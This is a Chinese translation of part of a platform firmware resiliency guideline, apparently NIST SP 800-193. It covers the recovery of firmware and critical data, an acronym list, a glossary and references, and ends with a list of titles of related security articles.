非本地恢复机制将要先于恢复使用认证更新机制（4.2.1.1 节）以验证恢复镜像的完整性和合法性
如果合法固件镜像采用远程存储，恢复策略将要可配置镜像的位置
如果某个设备（共生设备）依赖于另一个平台设备（宿主设备）以提供其 RTRec 或者 CTRec，则宿主设备的 RTRec 或者 CTRec 将要在恢复操作过程中调用宿主/共生认证更新机制
设备将要实现其自身的恢复能力，或者该设备（共生设备）和另一个平台设备（宿主设备）将要共同实现共生设备的恢复能力
恢复机制应该能够在执行恢复时记录并报告事件日志
恢复机制应该能够提供关于恢复事件和行为的通知
恢复机制可以能够执行恢复行为而无需通知或者由用户或者系统管理员介入
恢复机制可以请求来自用户或者系统管理员的批准以执行恢复行为
平台管理员应该能够引发可变代码的恢复。设备应该为平台管理员提供方法以强制恢复。设备可以按照平台层级的授权以通过一个或者多个可信设备的链条强制恢复，这些设备中的首个将要在指示下游设备进行恢复之前验证平台层级的授权
恢复过程应该防止非授权地恢复到某个包含安全漏洞的早期固件版本。整体恢复过程应该辅助恢复到某个最近的固件版本。这些可以被实现为多阶段的恢复过程

4.4.2 关键数据的恢复

本节描述了用于恢复平台设备中的关键数据的机制，如果该设备或者管理员有理由相信它已经发生损坏。由于关键数据可能是用户可配置的，恢复过程要求关键数据的可信的、已知良好的备份副本的可用性。这些备份副本可以存储于设备本身，或者由某些其他宿主设备存储。由于这些备份也可能易受攻击，这些指导意见具体说明了设备也提供某种方式以恢复到已知良好的出厂默认值这一点。

恢复关键数据的机制将要抵抗那些能够损坏活动关键数据或者主固件镜像，或者破坏它们的保护机制的攻击
设备应该提供某种方式以便将活动关键数据的一份或者多份已知良好的副本备份到一个或者多个其他位置。这些位置的保护将要至少和对于活动关键数据的保护一样好。这些保护应该好于对于活动关键数据的保护
- a) 不能备份其自身的关键数据的共生设备应该使其关键数据对其宿主设备可用。在此情况下，宿主设备将要备份共生设备的数据
- b) 如果共生设备将其关键数据提供给宿主设备以使得宿主设备可以备份该数据，则该共生设备应该能够消费恢复的关键数据
设备可以通过将其关键数据用作成功重启的一部分来确认该数据为“已知良好”的
设备将要如此备份关键数据：自动、当用户指示时，或者由另一个可信设备指示如此做时
RTRec 或者 CTRec 将要能够将关键数据恢复至出厂默认值
RTRec 或者 CTRec 应该能够恢复至上一次已知良好的关键数据
设备将不会利用由该设备作为关键数据储存的策略来恢复其自身的关键数据。然而，共生设备可以依赖由宿主设备提供的策略
如果有多个备份可用，RTRec 或者 CTRec 可以允许选择使用哪个备份
如果自动检测关键数据的损坏，RTRec 或者 CTRec 可以在替换当前关键数据之前获得来自宿主设备或者用户的批准
在没有 RTD 或者 CTD 以触发恢复行为的情况下，平台管理员应该能够引发关键数据的恢复。设备应该为平台管理员提供方式以强制恢复。接收到授权请求以强制恢复的设备可以随后指示与其已经建立信任关系的其他设备进行强制恢复，可以是直接进行或者通过可信设备的链条进行

尽管定义哪些情况构成了平台将要恢复到的恰当状态（除了具有完整性的状态以外）超出了此文档的范围，范例包括下列任何情况：

恢复到上一次已知良好的状态
重置为出厂默认值
更新至最新固件镜像
执行部分“修复”操作
恢复到某个由企业定义的“起始点”
上述情况的任何组合

注意，在正常操作被恢复之前，恢复过程可能要求多个阶段。例如，在恢复到上一次已知良好的配置数据之前，设备可能会最初恢复出厂默认的配置数据。

在考虑如何确定将设备恢复到上述哪种完整性状态时，使用基于策略的方式将会使得利用关键数据以存储/维持这些策略成为必需。然而，如果该关键数据损坏，则恢复过程可能要么不能发生，要么不能正确地发生。因此，厂商应该仔细考虑用于恢复的算法。例如，某种直接机制可能使用简单的最近使用（MRU）算法。例如，此算法可能首先尝试恢复到上一次已知良好的状态；如果该数据无效，则它可能接下来尝试恢复到某个先前保存的状态；如果该状态不可用，则它可能会尝试从某个远程企业存储位置恢复；如果该位置不可用，则它可能会尝试重置为出厂默认值。如此使用算法方式消除了恢复操作过程中依赖关键数据处于某种具有完整性的状态的需求。

附录 A——首字母缩略词

此论文中使用的选定的首字母缩略词和缩略语定义如下。

BIOS：基本输入/输出系统
CoT：信任链
CPLD：复杂可编程逻辑器件
CTD：检测信任链
CTRec：恢复信任链
CTU：更新信任链
FPGA：现场可编程逻辑门阵列
ROM：只读存储器
RoT：可信根
RTD：检测可信根
RTRec：恢复可信根
RTU：更新可信根
UEFI：统一可扩展固件接口

附录 B——词汇表

活动关键数据：用于初始化或者配置设备的那一份关键数据副本。注释：活动关键数据并不包括关键数据的备份。
扩展卡：用于指代可以通过诸如 PCI 等连接总线插入到平台中或者从平台中移除的任何设备的通用术语。扩展卡通常被插入到平台的物理机箱内部，而非物理存在于平台外部。扩展卡拥有其自身的设备及其相关联的固件，并且可能拥有其自身的扩展 ROM 固件。
认证更新：使用认证更新机制的更新。
认证更新机制：一种更新机制，它保证更新固件镜像经过数字签名，并且该数字签名可以在更新该镜像之前利用更新可信根（RTU）的密钥存储器中的某个密钥进行验证。
授权更新：使用授权更新机制的更新。
授权更新机制：一种更新机制，它在安装更新之前检查是否得到了批准。批准可能包括检查是否拥有凭证、由物理存在的人员进行确认，或者类似的方式。
启动固件：用于描述在平台上执行以启动（启动、初始化）设备的任何固件的通用术语。这可能包括但不限于初始化设备内存、初始化设备寄存器、初始化连接性接口、设备的健康度检查等。启动固件的一般目的是使得设备或者平台对于正常操作使用准备就绪。
信任链（CoT）：信任链（CoT）是植根于可信根（RoT）中的一系列协作性的元素，该元素通过当它移交其控制权时将相同的信任属性传递给下一个元素来延伸当前元素的信任边界。其结果是两个元素都能同等程度地完成信任功能，如同它们是一个可信元素那样。这一过程可以被延续，以进一步延伸信任链。一旦控制权被移交给未经验证或者不能被验证的代码，则信任链终结。这也被称为将控制权移交至某个非协作性的元素。
代码：由处理器或者类似设备（FPGA、CPLD 等）直接执行的指令。也包括由程序进行解读的指令。源代码 是被翻译成代码并且随后执行的人类可读指令。
损坏：损坏是指固件代码的完整性的丧失，或者关键数据中的错误或者意外的值，这可能是一系列不同原因中的任意一种的结果，包括但不限于：恶意活动（例如攻击者）、编写不良的代码（例如缓冲区溢出、算法错误）、意外事件（例如用户疏忽的行为）、未能安装某个安全补丁、非授权更改，或者由硬件引发的（例如信号完整性、阿尔法粒子、供电故障等）。
关键数据：关键数据是在加电循环之间持续存在的可变数据，并且必须处于由平台管理员授权的某种有效状态，以使得平台的恢复和/或启动过程可以安全和正确地进行。
关键平台固件：所有具有这些特征的平台固件的集合：(a) 执行任何平台固件的保护、检测、恢复和更新功能；(b) 维护关键数据的安全性；或者 (c) 实现了不可绕过的关键数据接口。
设备：用于指代平台上的任何计算或者存储元素，或者计算或者存储元素的组合的通用术语。设备的范例包括中央处理器（CPU）、应用处理器（APU）、嵌入式控制器（EC）、基板管理控制器（BMC）、可信平台模块（TPM）、图形处理器（GPU）、网卡（NIC）、硬盘驱动器（HDD）、固态硬盘（SSD）、只读存储器（ROM）、闪存 ROM 等。
设备固件：仅用于某个特定设备的非宿主处理器固件和扩展 ROM 固件的组合。此固件通常由设备制造商提供。
扩展 ROM 固件：用于指代在宿主处理器上执行的、被扩展设备在启动过程中所使用的固件的外设元件互连标准（PCI）术语。这包括 Option ROM 固件、UEFI 应用程序和 UEFI 驱动程序。扩展 ROM 固件可以作为宿主处理器启动固件的一部分而捆绑，也可以是独立的（例如来自扩展卡）。在此文档中，我们在一般性地指代 Option ROM 固件或者 UEFI 驱动程序和应用程序时使用扩展 ROM 固件这一术语。
固件：用于描述存储于芯片中的任何代码的通用术语，这些代码要么驻留于对应处理器的重置向量（或者等价物），要么作为其他固件的扩展而提供（诸如扩展 ROM 固件）。存储于芯片中的通用目的操作系统在此文档的范围中一般不被看作固件。
宿主设备：辅助共生设备建立满足此文档中的保护、检测和/或恢复指导意见所必需的可信根和信任链的设备。宿主和共生设备之间的功能分配取决于实现。宿主设备自身必须独立满足对其固件的指导意见。注意，这不应该同宿主处理器相混淆。宿主处理器可以作为宿主设备，但是宿主设备不一定是宿主处理器。
宿主处理器：宿主处理器是平台中的主要处理单元，在传统上称为中央处理器（CPU），现在有时也被称为应用处理器（APU）或者系统芯片（SoC）。这是主操作系统（和/或虚拟机监视器）以及用户应用程序所在其上运行的处理单元。这是负责加载并执行宿主处理器启动固件的处理器。
宿主处理器启动固件：用于描述由宿主处理器加载并且执行、为平台提供基本启动能力的固件的通用术语。此类固件包括传统 BIOS、系统 BIOS 和 UEFI，以及其他实现。在传统 BIOS 和 UEFI 之间的区别并不重要的情况下，将会使用宿主处理器启动固件这一术语。在这种区别至关重要的情况下，将会根据实际情况进行指代。扩展 ROM 启动固件也可以被看作宿主处理器启动固件的一部分。扩展 ROM 固件可以被作为宿主处理器启动固件的一部分而嵌入，也可以是独立于宿主处理器启动固件的（例如从扩展卡加载）。宿主处理器启动固件包括可能在运行时可用的固件。
不可变的：不可发生更改的。在此文档的上下文环境中，这仅仅指代不能在现场通过制造商本意中的机制和/或限定的接口进行更改。注意，平台或者设备制造商可能仍然能够通过直接连接到本地（物理）存在的平台或者设备的生产或者服务工具来作出更改。
传统 BIOS（基本输入/输出系统）：用于使用传统 x86 BIOS 架构的 x86 平台的一种宿主处理器启动固件形式。这种形式的宿主处理器启动固件已经或者正在被 UEFI 取代。
可变的：可发生更改的。在此文档的上下文环境中，这仅仅指代能够在现场通过制造商本意中的机制和/或限定的接口进行更改。这样的机制可能要求密码学机制或者无歧义的物理存在。
非关键数据：非关键数据是在加电循环之间持续存在，但是对于设备的启动、运作或者恢复并不具有决定性的可变数据。
非宿主处理器：非宿主处理器是用于描述平台上的任何不是宿主处理器的处理单元（例如微控制器、协处理器等）的通用术语。
非宿主处理器固件：非宿主处理器固件是用于描述被平台上的任何不是宿主处理器的处理单元所使用的固件的通用术语。
Option ROM 固件：用于通常在宿主处理器上执行、在启动过程中被设备使用的启动固件的传统术语。Option ROM 固件可以被包括在宿主处理器启动固件中，也可以由设备（例如扩展卡）独立提供。
外设（又称为外部设备）：外设（又称为外部设备）是物理存在于平台外部并且通过有线或者无线的方式连接到平台的设备。外设由其自身设备构成，它们可能拥有其自身的固件。尽管此文档中的原则和知道意见在概念上也可以同等程度地适用于外设，它们不属于此文档的范围之中。
平台：平台由被组装起来共同工作以带来某种特定计算功能的一个或者多个设备所组成，但是并不包含作为平台中的设备的一部分的固件以外的任何其他软件。平台的范例包括笔记本、台式机、服务器、网络交换机、刀片等。
平台管理员权限：管理平台设备中的固件和关键数据所必需的权限。特别地，这种权限可能是授权固件更新、更改固件配置设置，以及固件恢复操作所需要的。
平台管理员：拥有平台管理员权限的实体。
平台固件：平台上的所有设备固件的组合。在此文档中，平台固件这一术语可以被用于指代平台上所有被设备所使用的固件的组合。
主固件镜像：存储于设备上的可执行代码。主固件镜像的不同部分可以通过不同方式保护。
只读存储器（ROM）：一旦经过初始设置，就不能通过任何机制重写的存储器设备，使得该存储器成为不可变（不可更改）的。
具有弹性的：具有特定性质的系统在干扰发生之前、之中和之后吸收该干扰、恢复到某种可接受的性能级别，并且维持该级别达到一段可接受的时间的能力。
可信根（RoT）：构成了提供一项或者多项安全特定功能，诸如测定、存储、报告、恢复、验证、更新等的基础的元素。RoT 被信任为总是以预期的方式运作，由于它的不当行为不能被检测到，以及它的恰当运作对于提供其安全特定功能至关重要。
运行时固件：用于描述平台上的任何在运行时（在启动完成之后）活动/起作用或者可用的固件的通用术语。
软件：软件由加载操作系统、操作系统和随后由操作系统处理的所有用户应用程序和用户数据所必需的元素构成。参见图 1 以获得图形描述。
共生设备：共生设备是完全或者部分依赖另一个设备（宿主设备）以建立为符合此文档中的保护、检测和恢复指导意见所必需的可信根和信任链的设备。宿主设备和共生设备之间的功能分配取决于实现。例如，宿主设备验证更新并且备份关键数据，而共生设备负责满足所有其他指导意见。共生属性可以具有传递性：一个设备可以是一个宿主设备的共生设备，而这两个设备可以随后作为另一个共生设备的宿主设备，等等。
系统：系统是计算实体的整体，包括平台（硬件、固件）和软件（操作系统、用户应用程序、用户数据）中的所有元素。系统可以被看作逻辑构造（例如软件栈）或者物理构造（例如笔记本、台式机、服务器、网络交换机等）。参见图 1 以获得图形描述。
UEFI（统一可扩展固件接口）：使用统一可扩展固件接口（UEFI）架构（如同 UEFI 论坛所定义）的一种宿主处理器启动固件形式。
UEFI 驱动程序：在启动过程中加载以处理特定硬件部分的独立二进制可执行文件。
无歧义的物理存在：由不能被恶意软件伪造的本地人员指示授权。

附录 C——参考文献

[1] D. Cooper, W. Polk, A. Regenscheid, and M. Souppaya, BIOS Protection Guidelines, NIST Special Publication (SP) 800-147, National Institute of Standards and Technology, Gaithersburg, Maryland, April 2011, 26pp. https://doi.org/10.6028/NIST.SP.800-147
[2] A. Regenscheid., BIOS Protection Guidelines for Servers, NIST Special Publication (SP) 800-147B, National Institute of Standards and Technology, Gaithersburg, Maryland, August 2014, 32pp. https://doi.org/10.6028/NIST.SP.800-147B
[3] Specifications, Unified Extensible Firmware Interface Forum [Web site], http://www.uefi.org/specifications [accessed 5/2/18]
[4] TPM Library Specification, Trusted Computing Group [Web site], https://trustedcomputinggroup.org/tpm-library-specification/ [accessed 5/2/18]
[5] S. Bradner, Key words for use in RFCs to Indicate Requirement Levels, RFC 2119, Internet Engineering Task Force, March 1997, 2pp, https://doi.org/10.17487/RFC2119
[6] U.S. Department of Commerce. Secure Hash Standard, Federal Information Processing Standards (FIPS) Publication 180-4, August 2015, 36pp. https://doi.org/10.6028/NIST.FIPS.180-4
[7] U.S. Department of Commerce. Digital Signature Standard, Federal Information Processing Standards (FIPS) Publication 186-4, July 2013, 130pp. https://doi.org/10.6028/NIST.FIPS.186-4
[8] E. Barker, Recommendation for Key Management, Part 1: General, NIST Special Publication (SP) 800-57 Part 1 Revision 4, National Institute of Standards and Technology, Gaithersburg, Maryland, January 2016, 160pp. https://doi.org/10.6028/NIST.SP.800-57pt1r4
[9] E. Barker, Recommendation for Obtaining Assurances for Digital Signature Applications, NIST Special Publication (SP) 800-89, National Institute of Standards and Technology, Gaithersburg, Maryland, November 2006, 38pp. https://doi.org/10.6028/NIST.SP.800-89
[10] International Council for Systems Engineering, “Resilient Systems Working Group Charter,” November 2011.
[11] R. Ross, R. Graubart, D. Bodeau, and R. McQuaid, Systems Security Engineering: Cyber Resiliency Considerations for the Engineering of Trustworthy Secure Systems, NIST Special Publication 800-160 Volume 2 (DRAFT), National Institute of Standards and Technology, Gaithersburg, Maryland, March 2018, 158pp. https://csrc.nist.gov/CSRC/media/Publications/sp/800-160/vol-2/draft/documents/sp800-160-vol2-draft.pdf

Hardened GNU/Linux

不可避免的内存安全（Memory Safety）之路

背景

为生产环境选择GNU/Linux发行版

从Exploitability到memory safety方案

Exploit vs. Mitigation

Call for action

重写软件

引用

数字军火行业的兴衰及调整 - 趋势与更新

简介

关于我

目录

框架

厂商

从社区到工业化的转变

监管和媒体（新闻）报道

供应链

所有研究人员生而平等吗？

出售漏洞

经纪人

一条龙公司

政府

会议

繁荣期（2017-2019）-“牛市中每个人都是天才”

一条龙公司

服务水平协议（SLA）-附注

一条龙公司的销售周期

经纪人

供应方

政府

萧条期（2020-2021）- “只有退潮时，你才会知道谁在裸泳。”

监管

媒体（新闻）报道

一条龙公司

投标竞争

服务级别协议（SLA）

内部研究团队

漏洞利用在野外被捕获

收入来源和监管

COVID-19的经济影响

漏洞价格上涨

破产和转型

供应链

监管

进入漏洞研究领域的门槛更高

需求

媒体报道

可交付成果 VS. 技术能力声誉

经纪人

政府

调整（2022+）——“清算所”崛起和行业供应链的重塑

供应链

“清算所”崛起

行动呼吁

结论

Footnotes

关于0-day数字军火行业

关于0-day数字军火行业

技术

供应

需求

连通性

检测针对宿主内存的基于外设的攻击

Detecting Peripheral-based Attacks on the Host Memory

摘要

与本论文相关的发表

第 1 章 简介

1.1 问题表述

1.2 研究问题和方法论

实验研究环境

1.3 论文贡献的影响

DMA 恶意软件研究

检测 DMA 恶意软件

排除了 DMA 恶意软件干扰的合法平台状态报告

1.4 论文结构

第 2 章 技术背景、预备知识和假设

2.1 rootkit 进化

2.2 典型的基于 x86 的系统架构

2.3 基于 Intel x86 的宿主中央处理器

第 1 章简介

第 2 章技术背景、预备知识和假设

第 3 章相关工作

第 4 章关于一种基于直接内存访问的隐秘恶意软件的研究

第 6 章向外部平台进行合法报告

利用额外的 `BUS_TRANS` 事件